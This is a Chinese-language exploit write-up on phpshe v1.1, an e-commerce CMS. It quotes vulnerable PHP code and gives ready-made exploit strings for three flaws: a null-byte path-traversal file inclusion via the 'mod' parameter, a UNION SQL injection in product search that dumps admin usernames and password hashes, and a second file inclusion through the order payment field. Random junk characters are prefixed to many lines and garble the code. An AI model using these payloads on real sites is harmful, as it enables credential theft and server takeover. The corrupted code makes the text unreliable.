phpshe v1.1多处SQL注入和文件包含漏洞Getshell

admin

/*******************************************************/
5 O% c6 f3 l3 H/* Phpshe v1.1 Vulnerability
% ]* `: w/ ]8 |/ X! e8 y7 ?! \. x7 {/* ========================
. X  F1 i- G7 s* R/* By: : Kn1f3
8 a. I# J4 x0 ^/ O/* E-Mail : 681796@qq.com
/*******************************************************/
. f, x5 G: G3 @# A0×00 整体大概参数传输
. r  v6 ?: x3 m) j9 o# ^8 o! \

3 C7 {- Q! z& P2 V( U$ i
//common.php
if (get_magic_quotes_gpc()) {
9 _5 I1 x, j, o* K!empty($_GET) && extract(pe_trim(pe_stripslashes($_GET)), EXTR_PREFIX_ALL, '_g');
5 L0 B+ A+ Q! |!empty($_POST) && extract(pe_trim(pe_stripslashes($_POST)), EXTR_PREFIX_ALL, '_p');
}
# K$ ^# \: b3 T7 _else {
. N+ k- ~; x0 r, {6 `!empty($_GET) && extract(pe_trim($_GET),EXTR_PREFIX_ALL,'_g');
* R  Z, {- c# L% H1 Q!empty($_POST) && extract(pe_trim($_POST),EXTR_PREFIX_ALL,'_p');
}
# ~" \: ~4 A3 U+ R( K1 g' d: y' z( Gsession_start();
!empty($_SESSION) && extract(pe_trim($_SESSION),EXTR_PREFIX_ALL,'_s');
1 ?" q% t/ [) L. b!empty($_COOKIE) && extract(pe_trim(pe_stripslashes($_COOKIE)),EXTR_PREFIX_ALL,'_c');

0×01 包含漏洞

" t" u7 H6 Y7 E- S
* X0 c' _" c( Q. }, a2 b0 w& r//首页文件
* m( s9 |6 o& N6 s7 Y<!--?php include('common.php'); $cache_category = cache::get('category'); $cache_category_arr = cache::get('category_arr'); $cache_class = cache::get('class'); $cache_ad = cache::get('ad'); $cache_link = cache::get('link'); $cache_page = cache::get('page'); $web_qq = $cache_setting['web_qq']['setting_value'] ? explode(',', $cache_setting['web_qq']['setting_value']) : array(); $cart_num = pe_login('user') ? $db--->pe_num('cart', array('user_id'=>$_s_user_id)) : (unserialize($_c_cart_list) ? count(unserialize($_c_cart_list)) : 0);
include("{$pe['path_root']}module/{$module}/{$mod}.php");  //$mod可控造成“鸡肋”包含漏洞
pe_result();
, x( E' [! V" y, w, Y" w9 T. K?>
* _% ]6 `$ M  n" `% C3 G8 I//common 文件 第15行开始
url路由配置
$module = $mod = $act = 'index';
$mod = $_POST['mod'] ? $_POST['mod'] : ($_GET['mod'] ? $_GET['mod'] : $mod);
$ P$ ]; `$ m5 U+ ^& D/ A1 F. U$act = $_POST['act'] ? $_POST['act'] : ($_GET['act'] ? $_GET['act'] : $act);
$id = $_POST['id'] ? $_POST['id'] : ($_GET['id'] ? $_GET['id'] : $id);
//exp：http://127.0.0.1/phpshe_v1.1/index.php?mod=../../robots.txt%00
8 }6 }$ m1 ?4 i

4 j) ]6 }# Q  c3 W2 s: E
: m5 Y/ }- ^( m, n: {( G 0×02 搜索注入
, Q- k; C: R: n2 A$ v
; J, {+ R5 i8 M# M, C/ w<code id="code2">

//product.php文件
2 R/ ?2 a: L% O2 H' Dcase 'list':
& J" C' v0 B6 X" i/ R: P6 z$category_id = intval($id);
$info = $db->pe_select('category', array('category_id'=>$category_id));
//搜索
$sqlwhere = " and `product_state` = 1";
pe_lead('hook/category.hook.php');
" k( l9 L3 P* s8 x* {! l2 s6 wif ($category_id) {
where .= is_array($category_cidarr = category_cidarr($category_id)) ? " and `category_id` in('".implode("','", $category_cidarr)."')" : " and `category_id` = '{$category_id}'";
8 o6 L, t6 D$ [2 h( [; ]" B}
$_g_keyword && $sqlwhere .= " and `product_name` like '%{$_g_keyword}%'"; //keyword变量未进行有效的sql语句过滤
if ($_g_orderby) {
3 e+ k4 |, L! K$ Q' D' W$orderby = explode('_', $_g_orderby);
6 v( S1 n6 Y1 s3 w8 f+ A$sqlwhere .= " order by `product_{$orderby[0]}` {$orderby[1]}";
% d: g3 u# X, Z}
0 Q8 p; |" {6 _3 ^& Gelse {
$sqlwhere .= " order by `product_id` desc";
}
$info_list = $db->pe_selectall('product', $sqlwhere, '*', array(16, $_g_page));
# s# x! y) h5 }//热卖排行
$product_hotlist = product_hotlist();
1 g+ Y6 f% \& c2 }8 g$ G( m//当前路径
$nowpath = category_path($category_id);
% F- ?6 B& z3 v% L$ Q$seo = pe_seo($info['category_name']);
include(pe_tpl('product_list.html'));
, z8 i* ~) j. x& J1 A% D4 u' c3 |//跟进selectall函数库
/ Z4 w! q+ M/ x* epublic function pe_selectall($table, $where = '', $field = '*', $limit_page = array())
{
6 D8 _2 M7 _' U//处理条件语句
$sqlwhere = $this->_dowhere($where);
return $this->sql_selectall("select {$field} from `".dbpre."{$table}` {$sqlwhere}", $limit_page);
5 ^+ h  x7 _7 A+ G}
+ Y- T9 t, `* ?//exp
* p' E8 c; N# c- |7 p4 Qproduct/list?keyword=kn1f3'+union+select+1,2,3,4,5,(select+concat(admin_name,0x27,admin_pw,0x27)+from+pe_admin),7,8,9,10,11,12,13,14,15,16,17,18,19 and+'1'='1
, u3 w  {; h$ A

</code>

6 c3 I" j8 g5 `8 R0×03 包含漏洞2
& |8 @& ]3 u6 b+ P5 _8 F% }
6 U/ x7 b2 c% f" R- ?# b<code id="code3">

//order.php

case 'pay':

0 P% l- _" ~! v$order_id = pe_dbhold($_g_id);

$cache_payway = cache::get('payway');

foreach($cache_payway as $k => $v) {

/ w) l! P4 N% `# O5 j$cache_payway[$k]['payway_config'] = unserialize($cache_payway[$k]['payway_config']);

if ($k == 'bank') {

; Q( U; Z8 U/ M$ A3 j- x+ w$cache_payway[$k]['payway_config']['bank_text'] = str_replace(array("\r", "\n", "\t"), '\n', $cache_payway[$k]['payway_config']['bank_text']);

}

}

$order = $db->pe_select('order', array('order_id'=>$order_id, 'order_state'=>'notpay'));

!$order['order_id'] && pe_error('订单号错误...');

) Z) E  ~: F$ g  vif (isset($_p_pesubmit)) {

- S* l' q) T9 W3 e0 E4 o2 Kif ($db->pe_update('order', array('order_id'=>$order_id), $_p_info)) {

$info_list = $db->pe_selectall('orderdata', array('order_id'=>$order_id));

! |2 u- W5 D7 \4 q0 Mforeach ($info_list as $v) {

* q, O# i  D# g3 k5 Y$order['order_name'] .= "{$v['product_name']};";

}

3 X8 m- S$ v: @5 P# B0 jecho '正在为您连接支付网站，请稍后...';

include("{$pe['path_root']}include/plugin/payway/{$_p_info['order_payway']}/order_pay.php");

}//当一切准备好的时候就可以进行"鸡肋包含了"

  z- [* b2 l* |; o0 R- belse {

pe_error('支付错误...');

8 Y7 C; S, P! p, H}

  K1 K  d7 G  e. R3 f}

$seo = pe_seo('选择支付方式');

include(pe_tpl('order_pay.html'));

break;

}

//exp：

//http://127.0.0.1/phpshe_v1.1/index.php?mod=order&act=pay&id=1304070001

//info%5Border_payway%5D=alipay/../../../1.txt%00&pesubmit=%E7%AB%8B%E5%8D%B3%E6%94%AF%E4%BB%98</code>
' l: V8 p# c1 O, m1 y) A% e